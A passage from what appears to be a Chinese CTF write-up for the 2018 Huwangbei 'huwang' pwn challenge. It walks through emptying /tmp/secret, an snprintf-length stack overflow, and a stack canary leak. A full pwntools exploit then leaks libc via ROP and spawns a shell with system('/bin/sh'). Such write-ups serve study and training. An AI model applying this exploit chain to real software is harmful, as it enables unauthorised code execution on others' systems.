    程序停滞在md5循环,导致/tmp/secret为空
    

    这样可以构造一个负值来使/tmp/secret为空
    而后md5我们传入hashlib.md5('\x00'*16).hexdigest().decode('hex')即可

    而后进入right_secret函数:

    int __fastcall right_secret(__int64 a1)
    {
      char v1; // ST1B_1
      int v3; // [rsp+1Ch] [rbp-214h]
      char v4; // [rsp+20h] [rbp-210h]
      char s; // [rsp+120h] [rbp-110h]
      unsigned __int64 v6; // [rsp+228h] [rbp-8h]
    
      v6 = __readfsqword(0x28u);
      printf("Congratulations, %s guessed my secret!\n", a1);
      puts("And I want to know someting about you, and introduce you to other people who guess the secret!");
      puts("What`s your occupation?");
      sub_400CC1(&v4, 0xFFLL);
      v3 = snprintf(
             &s,
             0xFFuLL,
             "I know a new friend, his name is %s,and he is a noble %s.He is come from north and he is very handsome........."
             ".................................................................................................",
             a1,
             &v4);
      puts("Here is your introduce");
      puts(&s);
      puts("Do you want to edit you introduce by yourself[Y/N]");
      v1 = getchar();
      getchar();
      if ( v1 == 'Y' )
        read(0, &s, v3 - 1);
      return printf("The final presentation is as follows:%s\n", &s);
    }
    

    看到最后的read:

    read(0, &s, v3 - 1)
    v3 = snprintf(......)
    

    snprintf返回的值是预写入的长度,而不是成功写入长度
    v4最大长度为0xFF,再加上a1和字符串"I know......."长度,足以造成栈溢出

    不过这里还需要leak cannary
    重看secret函数:

      char buf; // [rsp+60h] [rbp-20h]
      unsigned __int64 v12; // [rsp+78h] [rbp-8h]
    
      v12 = __readfsqword(0x28u);
      puts("please input your name");
      read(0, &buf, 0x20uLL);
      memset(s, 0, 0x10uLL);
    

    当我们输入名字长度为0x19bytes,便可以覆盖canary最低位的0,从而在正确判断md5后,right_secret:

    int __fastcall right_secret(__int64 a1)
    {
      char v1; // ST1B_1
      int v3; // [rsp+1Ch] [rbp-214h]
      char v4; // [rsp+20h] [rbp-210h]
      char s; // [rsp+120h] [rbp-110h]
      unsigned __int64 v6; // [rsp+228h] [rbp-8h]
    
      v6 = __readfsqword(0x28u);
      printf("Congratulations, %s guessed my secret!\n", a1);
    

    成功输出canary(末尾去掉并补\x00)
    接下来就是正常的构造rop来leak libc
    最后执行system("/bin/sh")
    leak libc时可以选择执行puts(got['...'])或者right_secret(got['......'])(right_secret会在congratulation后输出字符串参数,got[.......]为got表中函数值,不过这里因为libc环境问题printf不行(printf地址末位\x00,会被直接判断为结束符造成leak失败)),这里EXP为了直接复用right_secret,选择了后者

    from pwn import *
    import time
    import hashlib
    
    context.log_level = 'debug'
    pop_rdi_ret=0x401573
    elf=ELF('./huwang')
    
    
    #make /tmp/secret null
    p=process("./huwang")
    p.recvuntil('>>')
    p.sendline('666')
    p.recvuntil('name\n')
    p.send('kirin')
    p.recvuntil('?')
    p.sendline('y')
    p.recvuntil('secret:\n')
    p.sendline('-1')
    time.sleep(5)
    p.close()
    
    #rop with /tmp/secret null
    p=process('./huwang')
    p.recvuntil('>>')
    p.sendline('666')
    p.recvuntil('name')
    p.send('a'*0x19)
    p.recvuntil('?\n')
    p.sendline('y')
    p.recvuntil('secret:\n')
    p.sendline('1')
    p.recvuntil('secret\n')
    payload = hashlib.md5('\x00'*16).hexdigest().decode('hex')
    p.send(payload)
    
    #leak canary
    p.recvuntil('a'*0x19)
    canary=p.recv(7).rjust(8,"\x00")
    p.recvuntil('occupation?\n')
    p.send('a'*0xff)
    p.recvuntil(']\n')
    p.sendline('Y')
    
    #rop->leak libc
    p.sendline('a'*0x108+canary+'a'*0x8+p64(pop_rdi_ret)+p64(elf.got['puts'])+p64(0x40101c))
    p.recvuntil('Congratulations, ')
    puts_addr=u64(p.recv(6).ljust(8,'\x00'))
    libc_addr=puts_addr-0x6f690
    system_addr=libc_addr+0x45390
    bin_sh_addr=libc_addr+0x18cd57
    
    #system('/bin/sh')
    p.recvuntil('?\n')
    p.send('a'*0xff)
    p.recvuntil(']\n')
    p.sendline('Y')
    #rop->system('/bin/sh')
    p.sendline('a'*0x108+canary+'a'*0x8+p64(pop_rdi_ret)+p64(bin_sh_addr)+p64(system_addr))
    p.interactive()
    

    相关文章

      网友评论

          本文标题:护网杯2018_部分Re&&PWN

          本文链接:https://www.haomeiwen.com/subject/xqbxtqtx.html